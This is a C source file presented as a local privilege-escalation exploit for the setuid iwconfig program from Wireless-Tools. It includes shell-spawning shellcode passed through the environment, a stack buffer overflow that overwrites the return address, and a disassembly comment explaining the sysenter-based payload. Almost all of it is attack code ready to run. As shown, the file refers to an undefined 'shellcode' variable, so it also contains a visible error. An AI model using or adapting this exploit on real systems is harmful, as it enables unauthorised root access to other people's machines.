/*
 *   ___ ___ ___ _/ _/__ ___ __/ / /_
 *  (_-</ -_) _ `/ _/ _ `/ // / / __/
 * /___/\__/\_, /_/ \_,_/\_,_/_/\__/.ch
 *         /___/ 
 *
 * iwconfig-local-r00t-sploit.c !@# simon@segfault.ch
 * 
 * Wireless-Tools /usr/sbin/iwconfig local root exploit // setuid
 *
 * Length = 45
 *
 * execve("/bin/sh")
 *
 * (gdb) disas __kernel_vsyscall
 * Dump of assembler code for function __kernel_vsyscall:
 * 0xffffe400 <__kernel_vsyscall+0>:       push   %ecx
 * 0xffffe401 <__kernel_vsyscall+1>:       push   %edx
 * 0xffffe402 <__kernel_vsyscall+2>:       push   %ebp
 * 0xffffe403 <__kernel_vsyscall+3>:       mov    %esp,%ebp
 * 0xffffe405 <__kernel_vsyscall+5>:       sysenter
 * 0xffffe407 <__kernel_vsyscall+7>:       nop
 * 0xffffe408 <__kernel_vsyscall+8>:       nop
 * 0xffffe409 <__kernel_vsyscall+9>:       nop
 * 0xffffe40a <__kernel_vsyscall+10>:      nop
 * 0xffffe40b <__kernel_vsyscall+11>:      nop
 * 0xffffe40c <__kernel_vsyscall+12>:      nop
 * 0xffffe40d <__kernel_vsyscall+13>:      nop
 * 0xffffe40e <__kernel_vsyscall+14>:      jmp    0xffffe403 <__kernel_vsyscall+3>
 * 0xffffe410 <__kernel_vsyscall+16>:      pop    %ebp
 * 0xffffe411 <__kernel_vsyscall+17>:      pop    %edx
 * 0xffffe412 <__kernel_vsyscall+18>:      pop    %ecx
 * 0xffffe413 <__kernel_vsyscall+19>:      ret
 * 0xffffe414 <__kernel_vsyscall+20>:      add    %al,(%eax)
 * 0xffffe416 <__kernel_vsyscall+22>:      add    %al,(%eax)
 * 0xffffe418 <__kernel_vsyscall+24>:      add    %al,(%eax)
 * 0xffffe41a <__kernel_vsyscall+26>:      add    %al,(%eax)
 * 0xffffe41c <__kernel_vsyscall+28>:      add    %al,(%eax)
 * 0xffffe41e <__kernel_vsyscall+30>:      add    %al,(%eax)
 * End of assembler dump.
 * 
 * replace
 * 
 * int $0x80
 * 
 * Instruction Pointers
 * 
 * push   %ecx
 * push   %edx
 * push   %ebp
 * mov    %esp,%ebp
 * sysenter
 * 
 *  804807a:       51                      push   %ecx
 *  804807b:       52                      push   %edx
 *  804807c:       55                      push   %ebp
 *  804807d:       89 e5                   mov    %esp,%ebp
 *  804807f:       0f 34                   sysenter
 * 
 */


#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

char kissme[]=
                 "\x31\xc0\x31\xdb\x50\x68\x2f\x2f"
                 "\x73\x68\x68\x2f\x62\x69\x6e\x89"
                 "\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
                 "\x0b\x51\x52\x55\x89\xe5\x0f\x34"
                 "\x31\xc0\x31\xdb\xfe\xc0\x51\x52"
                 "\x55\x89\xe5\x0f\x34";

int main(int argc,char **argv){
  char buf[96];
  long esp, *addr_ptr;
  unsigned long ret;
  int i, offset;
  unsigned long sp(void)
  { __asm__("movl %esp, %eax");}
  char *prog[]={argv[1],buf,NULL};
  char *env[]={"segfault",kissme,NULL};

  if (argc >= 2) {

    printf(" ___ ___ ___|  _|___ _ _| | |_  \n");
    printf("|_ -| -_| . |  _| .'| | | |  _| \n");
    printf("|___|___|_  |_| |__,|___|_|_|.ch\n");
    printf("        |___|                   \n");
    printf("iwconfig-local-r00t-sploit\n");

  } else {
    printf("\n ./iwconfig-local-r00t-sploit <path to iwconfig> \n\n");
    return 1;
    }

  offset = 0;
  esp = sp();
  ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
  printf("[+] S-p.ESP     : 0x%x\n", esp);
  printf("[+] O-F.ESP     : 0x%x\n", offset);
  printf("[+] Return Addr : 0x%x\n\n", ret);

  memset(buf,0x41,sizeof(buf));
  memcpy(&buf[92],&ret,4);

  execve(prog[0],prog,env);

 }